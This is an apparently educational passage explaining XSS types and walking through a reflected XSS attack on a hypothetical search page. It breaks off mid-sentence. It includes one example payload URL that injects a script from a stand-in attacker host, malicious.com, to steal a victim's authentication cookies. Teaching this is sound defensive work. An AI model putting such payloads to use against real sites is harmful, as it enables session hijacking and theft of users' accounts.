What is the XSS or cross-site scripting attack?

Cross-site scripting is a computer security vulnerability using which an attacker can inject client-side scripts into a web page. As a result, when a victim visits the web page, the malicious scripts execute in the victim’s browser and steal sensitive data or spread malware. Attackers often use the XSS attack to inject malicious code in forums, message boards, or comment sections of web pages.

How does the XSS attack work?

XSS attacks are perpetrated in different ways. Let’s understand each type of XSS attack in more detail.

Different Types of XSS Attack

There are three types of cross-site scripting (XSS) attacks:

• Reflected or Non-persistent Cross-Site Scripting Attack or Reflected XSS Attack
  
• Persistent or Stored Cross-Site Scripting Attack or Stored XSS Attack
  
• DOM Based Cross-Site Scripting Attack or DOM Based XSS Attack
  

Let’s discuss each type of attack with a simple example to understand it better.

What is the reflected XSS attack?

Suppose there is a web application vulnerable.com that has the XSS vulnerability. Adam is a registered user there. And Bob is an attacker who is aware of the vulnerability. Also, let’s assume that on vulnerable.com, there is a search bar. If anyone searches with a keyword, related results appear on the page. And it says “Not Found” if no matching entry is available for the corresponding search term.

Bob has written a script steal_auth.js. If a registered user executes that script on his browser, then his authentication information stored in cookies is transferred to Bob.

So, Bob keeps this script in malicious.com/steal_auth.js and sends a link to that to Adam. Bob may use social engineering to trick Bob into clicking on that link.  For example, Bob may send that link to Adam in an email attachment and say, “Look at some interesting pictures!” which may eventually point to

http://vulnerable.com?q=pictures<script%20src=”http://malicious.com/steal_auth.js”>

Bob may even convert the ASCII characters to hexadecimal so that the link is not human-readable.

Now, suppose Adam clicks on the link when he is already authenticated to the website vulnerable.com. And when he does so, his authentication information gets transferred to Bob silently. Adam will merely see a benign message in the search results: “Not Found.”

With this sensitive authentication information of Adam, Bob can impersonate Adam and log in to his account. If Adam has other sensitive information like Credit Card numbers, etc, stored in his account, …